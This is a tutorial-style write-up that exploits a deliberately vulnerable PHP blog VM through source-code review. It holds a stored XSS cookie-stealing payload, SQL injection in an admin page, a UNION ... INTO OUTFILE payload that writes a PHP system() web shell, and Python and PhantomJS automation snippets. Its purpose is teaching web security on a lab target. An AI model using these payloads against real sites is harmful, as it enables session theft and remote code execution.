Hey guys welcome to my article about source-code analysis and finding vulnerabilites on a PHP website and for the test we will be using this, it's a basic web-app vulnerable program for learning the web-app but we will analyse the source code and automate the exploitation with python. Link for iso. Kudos to Wetw0rk.
OBJECTIVES TO BE ACHIEVED
Trigger xss --> Find the vulnearble function
COOKIE Stealing
SQL Injection --> Code analysis of PHP files under the
OUTFILE to upload shell
RCE
Hunt Began
So we will begin with analysing the source code of the first page which is index.php
From the looks of this page we can clearly say that id parameter is not vulnerable to sql injection
Code:-$post = Post::find(intval($_GET['id']));
Anything which is being passed to id parameter will be converted to integer and even if we go ahead and try to insert a string or anything let's see what happens..
See that error now we know why it's happening so let's move forward ...
We shall see which file is handling those comments and to see that i will intercept with burp ...
File which is handling the comments is post_comment.php So let's analyse it...
On first look we can see again the classes\post.php was used and the functions were find as well as add_comment()
Let's analyse both functions ...
Find function
functionfind($id) { $result =mysql_query("SELECT*FROM posts where id=".$id); $row =mysql_fetch_assoc($result); if (isset($row)){ $post =newPost($row['id'],$row['title'],$row['text'],$row['published']); }return $post; }
We can see that this function is taking id parameter as argument and checking it if exists then after validiating it exists it's creating a object of Post class and passing the values to the constructor
From Looking at the snippet we can see the values which were accepted from POST request are directly being stored in the database without any checks, Let's verify from logging into the mysql ...
Commands Used
sudo su
mysql
use blog;
select * from comments;
OUTPUT
mysql> select * from comments;
+----+-------+---------------------+---------+-----------+---------+
| id | title | text | author | published | post_id |
+----+-------+---------------------+---------+-----------+---------+
| 1 | test | hello world | sarthak | NULL | 1 |
+----+-------+---------------------+---------+-----------+---------+
1 row in set (0.00 sec)
We can see the data being stored so let's try to insert some javascript values <script>document.cookie</script>
OUTPUT
mysql> select * from comments;
+----+-------+----------------------------------+---------+-----------+---------+
| id | title | text | author | published | post_id |
+----+-------+----------------------------------+---------+-----------+---------+
| 1 | test | hello world | sarthak | NULL | 1 |
| 2 | test | <script>document.cookie</script> | sarthak | NULL | 1 |
+----+-------+----------------------------------+---------+-----------+---------+
2 rows in set (0.00 sec)
Awesome we can insert anythinginside it but we shall how this data will be printed on the screen ...For that we shall look again at post.php snippet
That the value of text field is being printed without any filtering so this gives us a green flag for Stored xss So, Let's Try to insert a basic xss popup payload...
So we can do stored xss let's automate this with python and grab cookies :)
We created some variables and used randint function from random class to generate random 4 digit port address and then the payload is being created it's basic payload to open the url with javascript with document.cookie and sent the payload and port to sender function
In this function we created the data field which had the variables for POST request with the xss payload in text field and sent it by requests module's post method so by this we can easily make a comment on the website and the servers function will create a local listner using sockets on the port created by randint
In this function i have done some horrible regex to filter out the cookie and return it back to the cookie variable used in the trigger function and later on it will be used to login in the admin panel by using the login_admin() function.
But for now we will just login by intercepting the request by burpsuite and changing the cookies...
Now that we have logged in as admin and we are at http://192.168.0.5/admin/index.php page so let's look into the source code of pages inside the admin directory one by one...
We'll start with edit.php as this php file is used to edit the comments which could be directly in relation with backend mysql queries...
So here we can see that find function is being used of classes/post.php to get the data from the mysql let's see the function code
find function
functionfind($id) { $result =mysql_query("SELECT*FROM posts where id=".$id); $row =mysql_fetch_assoc($result); if (isset($row)){ $post =newPost($row['id'],$row['title'],$row['text'],$row['published']); }return $post;
Aha! here we can see that the user input(id) variable is being directly passed without any checks or validiation so there has to be a sql injection on this...Let's try :)
Now we shall try to save files on the server (To be honest this part was just a hit and try because i didn't knew we have enough privs to save files..found out after trying)
But before that we shall see the write permissions on the www directory
root@debian:/var/www# ls -lha
total 20K
drwxr-xr-x 6 www-data www-data 210 Jan 2 2014 .
drwxr-xr-x 19 root root 140 Oct 10 2013 ..
drwxr-xr-x 3 www-data www-data 164 Jan 2 2014 admin
-rw-r--r-- 1 www-data www-data 601 Oct 10 2013 all.php
-rw-r--r-- 1 www-data www-data 510 Oct 10 2013 cat.php
drwxr-xr-x 2 www-data www-data 114 Jan 2 2014 classes
drwxrwxrwx 2 www-data www-data 67 Jan 2 2014 css
-rw-r--r-- 1 www-data www-data 15K Oct 10 2013 favicon.ico
-rw-r--r-- 1 www-data www-data 185 Oct 10 2013 footer.php
-rw-r--r-- 1 www-data www-data 749 Oct 10 2013 header.php
drwxrwxrwx 2 www-data www-data 30 Jan 2 2014 images
-rw-r--r-- 1 www-data www-data 369 Oct 10 2013 index.php
-rw-r--r-- 1 www-data www-data 243 Oct 10 2013 post_comment.php
-rw-r--r-- 1 www-data www-data 722 Oct 10 2013 post.php
root@debian:/var/www#
I can see 2 possible candidate directories css and images
Uploading shell
So first we shall construct our basic payload to write a file in css directory...
Code:-union select 1,"hello sarthak",3,4 into outfile "/var/www/css/lol.php"%23
OUTPUT
root@debian:/var/www/css# ls
base.css default.css style.css
root@debian:/var/www/css# ls
base.css default.css lol.php style.css
root@debian:/var/www/css# cat lol.php
1 hello sarthak 3 4
root@debian:/var/www/css#
It is weird to see 1,3,4 to be written to the file but no problem we can work around it to create a php based shell...
PAYLOAD:-union select "<?php","system($_GET['c']);","?>",";" into outfile "/var/www/css/lol.php"%23
This would do our work hehe :)
OUTPUT
root@debian:/var/www/css# ls
base.css default.css style.css
root@debian:/var/www/css# ls
base.css default.css lol.php style.css
root@debian:/var/www/css# cat lol.php
<?php system($_GET['c']); ?> ;
root@debian:/var/www/css#
RCE achieved
And yes finally we got rce so let's try to update our script and automate everything upto shell...
RECAP We got the cookie from the admin and now we will make function login_admin() to login by the session cookie
**login_admin() function
deflogin_admin(cookie): url=target_url+"admin/index.php" cookie="PHPSESSID={}".format(cookie) head={'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','Connection':'close','Cookie': cookie} proxy={'http':'127.0.0.1:8080'} a=r.get(url,headers=head)if a.text.find("Administration of my Blog"):print("[+] Login Successful")shell_upload(r,head)else:print("[-] Login Failed") sys.exit()
So here this function took cookie as argument and created custom headers (Important:- I tried to just pass cookie directly but it doesn't work like that idk why lol so i just intercepted that process with burp and duplicate the headers)
And you might notice that proxy that is for me to catch my request from my script in burp so that i can analyse and make changes...
So we sent everything and tested if we got Administration of my Blog in response or not because this heading appears when we login as admin so after that shell_upload function is invoked to upload our shell...
// The purpose of this is to show how and when events fire, considering 5 steps// happening as follows://var sys =require("system"), page =require("webpage").create(), logResources =false, base ="http://127.0.0.1";////////////////////////////////////////////////////////////////////////////////// window.alert(msg);page.onAlert=function() {console.log("\talert() called");};// var confirmed = window.confirm(msg);page.onConfirm=function() {console.log("\tconfirm() called");};// var user_value = window.prompt(msg, default_value);page.onPrompt=function() {console.log("\tprompt() callled");};////////////////////////////////////////////////////////////////////////////////setTimeout(function() {console.log("#### Loading login page");page.open(base+"/admin/login.php",function() {;var results =page.evaluate(function () {document.querySelector('input[name=user]').value ='admin';document.querySelector('input[name=password]').value ='P4ssw0rd'document.querySelector('form').submit(); }); });},0);setTimeout(function() {console.log("#### Visit post 1");page.open(base+"/post.php?id=1");},2000);setTimeout(function() {console.log("#### Visit post 2");page.open(base+"/post.php?id=2");},4000);setTimeout(function() {console.log("#### Closing down");page.close();setTimeout(function(){phantom.exit(); },100);},7000);
So this is how admin would be impersonated
Demo
I hope you guys would like this article ... i will post more as soon as i get more time :)
Here we just uploaded the shell as we did in browser but with requests and all the headers so after sending everything we checked by opening the shell without c parameter which always gives output which had Notice: Undefined index: in it </br/>